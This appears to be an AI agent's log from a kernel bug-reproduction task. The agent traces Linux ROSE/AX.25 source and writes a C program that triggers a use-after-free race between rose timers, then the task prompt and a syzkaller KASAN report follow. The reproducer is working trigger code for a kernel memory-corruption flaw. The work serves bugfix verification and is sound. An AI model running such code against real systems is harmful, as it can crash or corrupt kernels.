 744:		rose->source_addr   = addr->srose_addr;
 745:		rose->device        = dev;
 746:		netdev_tracker_alloc(rose->device, &rose->dev_tracker, GFP_KERNEL);
 747:		rose->source_ndigis = addr->srose_ndigis;
 748:	
 749:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 750:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 751:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 752:				rose->source_digis[n] = full_addr->srose_digis[n];
 753:		} else {
 754:			if (rose->source_ndigis == 1) {
 755:				rose->source_digis[0] = addr->srose_digi;
 756:			}
 757:		}
 758:	
 759:		rose_insert_socket(sk);
 760:	
 761:		sock_reset_flag(sk, SOCK_ZAPPED);
 762:		err = 0;
 763:	out_release:
 764:		release_sock(sk);
 765:		return err;
 766:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 39952
							output: 43
							thoughts: 33
						

Okay, here's my interpretation of that thought process, assuming I'm well-versed in this networking code.

**Diving into the `rose_bind` Function**

Right, `rose_bind` just got called. My first instinct is to see what it's doing under the hood, so I immediately hone in on that call to `rose_dev_get(&addr->srose_addr)`.  That's where the magic probably happens in terms of device lookup.  I need to understand what `rose_dev_get` is up to with that address structure, `addr->srose_addr`. It's crucial to understand the device interaction within the bind operation. Let's delve into the function definition.

map[ContextFile:net/rose/rose_dev.c IncludeLines:true Name:rose_dev_get]

map[SourceCode: 624:	/*
 625:	 *	Find the ROSE device for the given address.
 626:	 */
 627:	struct net_device *rose_dev_get(rose_address *addr)
 628:	{
 629:		struct net_device *dev;
 630:	
 631:		rcu_read_lock();
 632:		for_each_netdev_rcu(&init_net, dev) {
 633:			if ((dev->flags & IFF_UP) && dev->type == ARPHRD_ROSE &&
 634:			    rosecmp(addr, (const rose_address *)dev->dev_addr) == 0) {
 635:				dev_hold(dev);
 636:				goto out;
 637:			}
 638:		}
 639:		dev = NULL;
 640:	out:
 641:		rcu_read_unlock();
 642:		return dev;
 643:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 40493
							output: 44
							thoughts: 970
						

**Analyzing the ROSE Device Interaction and Potential Crash**

Okay, so I'm looking at this ROSE device setup, and it seems pretty straightforward at first glance. `rose_bind` *definitely* requires the ROSE address to be an exact match for the device's configured address. Let's see... the reproducer code confirms that; the initial setup with `SIOCSIFHWADDR` using the `rose0` interface and then the subsequent `bind` call with matching addresses looks perfectly correct. No issues there.

Now, hold on. The `connect` call also relies on the address matching the established route, and the code shows that address 2 is added to the route and the subsequent `connect` call is to the same address. Seems fine.

But the crash report is interesting. It indicates memory being allocated via `rose_add_node`, which is called within `rose_rt_ioctl`, and then freed later by `rose_timer_expiry`. That aligns perfectly with my understanding of the system, with `rose_timer_expiry` cleaning up the neighbour entry. The crash is happening within `rose_send_frame`, likely triggered by `rose_t0timer_expiry`, which is also related to the neighbour's timer.

Alright, before I get too deep into this, let's just confirm the prerequisites. The code brings the `ax0` interface up using `SIOCGIFFLAGS` and `SIOCSIFFLAGS`. No problem. No IP address seems to be configured for `ax0` – that's expected. And it looks like the hardware address is being handled, at least in a default sense, by `mkiss` at device setup. Specifically, I'll need to check the code that opens `mkiss` to see how the hardware address is set by default.

So, the issue is likely a race condition in the neighbour cleanup process.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:mkiss_open]

map[SourceCode: 688:	static int mkiss_open(struct tty_struct *tty)
 689:	{
 690:		struct net_device *dev;
 691:		struct mkiss *ax;
 692:		int err;
 693:	
 694:		if (!capable(CAP_NET_ADMIN))
 695:			return -EPERM;
 696:		if (tty->ops->write == NULL)
 697:			return -EOPNOTSUPP;
 698:	
 699:		dev = alloc_netdev(sizeof(struct mkiss), "ax%d", NET_NAME_UNKNOWN,
 700:				   ax_setup);
 701:		if (!dev) {
 702:			err = -ENOMEM;
 703:			goto out;
 704:		}
 705:	
 706:		ax = netdev_priv(dev);
 707:		ax->dev = dev;
 708:	
 709:		spin_lock_init(&ax->buflock);
 710:		refcount_set(&ax->refcnt, 1);
 711:		init_completion(&ax->dead);
 712:	
 713:		ax->tty = tty;
 714:		tty->disc_data = ax;
 715:		tty->receive_room = 65535;
 716:	
 717:		tty_driver_flush_buffer(tty);
 718:	
 719:		/* Restore default settings */
 720:		dev->type = ARPHRD_AX25;
 721:	
 722:		/* Perform the low-level AX25 initialization. */
 723:		err = ax_open(ax->dev);
 724:		if (err)
 725:			goto out_free_netdev;
 726:	
 727:		err = register_netdev(dev);
 728:		if (err)
 729:			goto out_free_buffers;
 730:	
 731:		/* after register_netdev() - because else printk smashes the kernel */
 732:		switch (crc_force) {
 733:		case 3:
 734:			ax->crcmode  = CRC_MODE_SMACK;
 735:			printk(KERN_INFO "mkiss: %s: crc mode smack forced.\n",
 736:			       ax->dev->name);
 737:			break;
 738:		case 2:
 739:			ax->crcmode  = CRC_MODE_FLEX;
 740:			printk(KERN_INFO "mkiss: %s: crc mode flexnet forced.\n",
 741:			       ax->dev->name);
 742:			break;
 743:		case 1:
 744:			ax->crcmode  = CRC_MODE_NONE;
 745:			printk(KERN_INFO "mkiss: %s: crc mode disabled.\n",
 746:			       ax->dev->name);
 747:			break;
 748:		case 0:
 749:		default:
 750:			crc_force = 0;
 751:			printk(KERN_INFO "mkiss: %s: crc mode is auto.\n",
 752:			       ax->dev->name);
 753:			ax->crcmode  = CRC_MODE_SMACK_TEST;
 754:		}
 755:		ax->crcauto = (crc_force ? 0 : 1);
 756:	
 757:		netif_start_queue(dev);
 758:	
 759:		/* Done.  We have linked the TTY line to a channel. */
 760:		return 0;
 761:	
 762:	out_free_buffers:
 763:		kfree(ax->rbuff);
 764:		kfree(ax->xbuff);
 765:	
 766:	out_free_netdev:
 767:		free_netdev(dev);
 768:	
 769:	out:
 770:		return err;
 771:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3.1-pro-preview

							input: 43096
							output: 43
							thoughts: 11
						

Okay, here's my take on those thoughts, tailored for an expert audience, presented in the first person:

**Hardware Address Initialization**

Right, so `ax_setup` appears to be the function or script responsible for configuring the default hardware address. It's the starting point for addressing our hardware, presumably establishing a baseline from which we can then target specific devices or interfaces. I'm immediately thinking about the potential implications – is it setting a MAC address, an IP, a port, or something more device-specific depending on the hardware architecture we're dealing with? This kind of setup function is critical. The initialization of the hardware address is a foundational step, making it absolutely necessary to guarantee that the system can properly communicate with and identify hardware components. This is, of course, critical for any subsequent operations relying on proper hardware detection and management. I'd need more context to understand the specifics of how it's handled, but my mind is already racing with questions about potential conflicts, error handling if the default is unavailable, and how we might override or modify this default programmatically later on.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax_setup]

map[SourceCode: 639:	static void ax_setup(struct net_device *dev)
 640:	{
 641:		/* Finish setting up the DEVICE info. */
 642:		dev->mtu             = AX_MTU;
 643:		dev->hard_header_len = AX25_MAX_HEADER_LEN;
 644:		dev->addr_len        = AX25_ADDR_LEN;
 645:		dev->type            = ARPHRD_AX25;
 646:		dev->tx_queue_len    = 10;
 647:		dev->header_ops      = &ax25_header_ops;
 648:		dev->netdev_ops	     = &ax_netdev_ops;
 649:	
 650:	
 651:		memcpy(dev->broadcast, &ax25_bcast, AX25_ADDR_LEN);
 652:		dev_addr_set(dev, (u8 *)&ax25_defaddr);
 653:	
 654:		dev->flags      = IFF_BROADCAST | IFF_MULTICAST;
 655:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3.1-pro-preview

							input: 43717
							output: 43
							thoughts: 565
						

**Analyzing ROSE Interface Setup and Routing**

Okay, so I'm working through this code, and the first thing I notice is the use of `ax25_defaddr`. Yes, I'm pretty sure that's being used. Now, the next thing that jumps out is that `rose_bind` *requires* a ROSE device. Looking down in the code, I see this block:

```c
    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);
```

So, is `rose0` created automatically? I remember that by default the module has `rose_ndevs` set to 10. Aha! I was right, `rose0` to `rose9` are created during module initialization:

```c
static int rose_ndevs = 10;
```

And then, looking at the code later, `rose_dev_get` checks `dev->type == ARPHRD_ROSE`. This confirms that `rose0` is indeed a ROSE device.

Now, going further, let's see, `rose_connect` calls `rose_get_neigh`.

```c
	rose->neighbour = rose_get_neigh(&addr->srose_addr, &cause,
					 &diagnostic, 0);
```

And `rose_get_neigh` checks `rose_node_list`. Okay, so let's look at how we're setting up the routing. We're using `SIOCADDRT` to add a route.

```c
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);
```

Ah, right, and that `SIOCADDRT` is handled by `rose_rt_ioctl`. Got it.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_rt_ioctl]

map[SourceCode: 727:	/*
 728:	 *	Handle the ioctls that control the routing functions.
 729:	 */
 730:	int rose_rt_ioctl(unsigned int cmd, void __user *arg)
 731:	{
 732:		struct rose_route_struct rose_route;
 733:		struct net_device *dev;
 734:		int err;
 735:	
 736:		switch (cmd) {
 737:		case SIOCADDRT:
 738:			if (copy_from_user(&rose_route, arg, sizeof(struct rose_route_struct)))
 739:				return -EFAULT;
 740:			if ((dev = rose_ax25_dev_find(rose_route.device)) == NULL)
 741:				return -EINVAL;
 742:			if (rose_dev_exists(&rose_route.address)) /* Can't add routes to ourself */
 743:				return -EINVAL;
 744:			if (rose_route.mask > 10) /* Mask can't be more than 10 digits */
 745:				return -EINVAL;
 746:			if (rose_route.ndigis > AX25_MAX_DIGIS)
 747:				return -EINVAL;
 748:			err = rose_add_node(&rose_route, dev);
 749:			return err;
 750:	
 751:		case SIOCDELRT:
 752:			if (copy_from_user(&rose_route, arg, sizeof(struct rose_route_struct)))
 753:				return -EFAULT;
 754:			if ((dev = rose_ax25_dev_find(rose_route.device)) == NULL)
 755:				return -EINVAL;
 756:			err = rose_del_node(&rose_route, dev);
 757:			return err;
 758:	
 759:		case SIOCRSCLRRT:
 760:			return rose_clear_routes();
 761:	
 762:		default:
 763:			return -EINVAL;
 764:		}
 765:	
 766:		return 0;
 767:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 45649
							output: 47
							thoughts: 14
						

Okay, here's my interpretation of that thought process, tailored for an expert audience, and written in the first person:

**Initial Call and Contextual Awareness**

Okay, so the program execution is starting with a function call. It seems like the core process has initiated a search or discovery function for a ROSE AX.25 device. The name `rose_ax25_dev_find` is telling, and I immediately begin to consider the implications: is this part of the driver loading process? Is it a background scan? Am I in a situation where I should be concerned about resources, or is it isolated?

I know the `rose` prefix means this pertains to the ROSE network protocol, and the `ax25` suffix narrows it down to the AX.25 protocol that sits on top of radio hardware and networking layers. The `dev_find` implies that the objective is to locate and/or identify devices capable of utilizing the AX.25 protocol and supporting ROSE routing. The function's role is critical.

This immediately prompts me to consider the environment where this call occurs. Is this happening in user space? Or kernel space? What is the current state of the networking stack? And what is the underlying hardware? Am I searching for a known device, or attempting to discover new ones? The search criteria are likely defined elsewhere, possibly in configuration files or passed as arguments to this function, and I mentally review the likelihood of encountering the common pitfalls here. This is a crucial area for understanding potential failures.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_ax25_dev_find]

map[SourceCode: 587:	/*
 588:	 *	Check that the device given is a valid AX.25 interface that is "up".
 589:	 * 	called with RTNL
 590:	 */
 591:	static struct net_device *rose_ax25_dev_find(char *devname)
 592:	{
 593:		struct net_device *dev;
 594:	
 595:		if ((dev = __dev_get_by_name(&init_net, devname)) == NULL)
 596:			return NULL;
 597:	
 598:		if ((dev->flags & IFF_UP) && dev->type == ARPHRD_AX25)
 599:			return dev;
 600:	
 601:		return NULL;
 602:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 46284
							output: 1800
							thoughts: 14254
						

**UAF Bug in ROSE Protocol Timers**

Okay, so I've been digging into this potential use-after-free (UAF) in the ROSE protocol timers. Here's what I've got: `ax0` needs to be up and running with `ARPHRD_AX25`. `mkiss` does the necessary setup, so `rose_ax25_dev_find` should succeed. We also need to be certain that no reference is held by `rose_rt_ioctl` and `__dev_get_by_name`.  It looks like `rose_add_node` and `rose_del_node` are managing references correctly.

Now, I've checked the sysctl values for timeouts, and they look fine – 1 second for `clear_request_timeout` and 2 seconds for `restart_request_timeout`. The real interesting bit is the potential race between the `t0timer` (restart request) and `t3timer` (connection timeout).

Here's the scenario: `t0timer` is running, then we call `rose_connect`, and `rose_write_internal` is called. It starts the `t0timer`. Then, we call `rose_del_node`, which calls `rose_remove_neigh` and cancels the timer. But `close()` gets called, which triggers the CLEAR REQUEST that restarts `t0timer` and also start `t3timer`. Now, if `t3timer` fires first and frees `neigh`, and then `t0timer` fires (because we restarted it after the `close()` call), it's going to access freed memory. This is our UAF.

So I dug into the `rose_transmit_restart_request` function, and saw it allocates an `skb`. If it's successful, it calls `rose_send_frame`. `rose_send_frame` dereferences `neigh->ax25`. I can see the memory access potentially happening and triggering KASAN.

The crash report says "Write of size 8". I initially thought it's reading `neigh->dev`, but if the memory is poisoned due to UAF, it will report the first bad memory access which is probably the write to `neigh->ax25` but caused by access to `neigh->dev`. Also, by default, `rose_callsign` is null, so it will attempt to access `neigh->dev->dev_addr`, resulting in a read!  The write reported by KASAN could have happened after reading the arguments of the function `ax25_send_frame` which takes `neigh->dev` as an argument.

Checking the assembly code, the KASAN report is a write to `neigh->ax25`. KASAN monitors both reads and writes.

I then realized that the race is a *concurrency* issue. `t0timer` and `t3timer` are started and running concurrently in different softirq contexts, which could happen when multiple CPUs are in action. `t0timer` is set and started after `close` by `rose_transmit_link`.  `t3timer` is started right after this function by `rose_start_t3timer`. This can create a race and cause the corruption. If the timers expire almost simultaneously, one can free `neigh` while the other is in the middle of accessing it, and then when `rose_send_frame` is called, a UAF occurs on the write.

So, I need to make the timers expire close together. I set the sysctl values to make both `t0timer` and `t3timer` fire at the same time: 1000 milliseconds, or 1 second. Since `internal_add_timer` uses `hlist_add_head`, `t3timer` (added last) will be at the head of the list, and it will expire first, triggering a UAF on the next call if the first one does not fail.

I need to confirm the sequence. The key is to make the write to `neigh->ax25` happen *after* `neigh` is freed.  I can ensure the issue by setting the timers to trigger at the same time. The first one will free the memory, and the second one's memory read operation will be invalid, causing the KASAN report.

I refined the reproducer by including the necessary steps for interface configuration, route setup, sysctl settings, and the crucial socket operations: bind, add route, connect, delete route, close socket. To make the bug robust, I use a loop to cause this operation to happen multiple times. Finally, I decreased the sleep to trigger the memory release sooner.  Since timers are added to the head of the list, setting the sysctl values to trigger the

map[CurrentReproStrategy:An excellent analysis of the KASAN report confirms the race condition between the `t3timer` and `t0timer` in the ROSE subsystem. 

### Root Cause Analysis
1. **Neighbour Creation**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created.
2. **Connection & Timer Start**: When a socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and explicitly stops the `t0timer` (`timer_delete_sync`). The socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` sends a `ROSE_CLEAR_REQUEST` frame. This calls `rose_transmit_link()`, which notices that the `t0timer` is not running (because it was stopped by the route deletion) and **restarts the `t0timer`**. `rose_release()` then starts the socket's `t3timer`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If both timers are configured to expire at the same time, they will be queued in the timer wheel together. The timer wheel unlinks both timers and executes their callbacks sequentially.
   - The `t3timer` callback drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Immediately after, the `t0timer` callback accesses the already freed `rose_neigh` object to send a restart request, causing the KASAN Use-After-Free.

### Reproducer
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` and `t0timer` expire simultaneously. We run the sequence in a loop to ensure the race condition is hit.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        ioctl(rsock, SIOCADDRT, &route);
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```]

gemini-3.1-pro-preview

map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. You MUST start by generating a simple 'probe' program first if the input variable NeedProbe is
true. This is a strict, non-negotiable requirement to verify that the test environment has the
necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when NeedProbe becomes false).
7. You must set the IsProbe output field to true if the generated C program is a minimal capability probe.
Set it to false if the C program is a full reproducer candidate attempting to trigger the target bug/crash.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
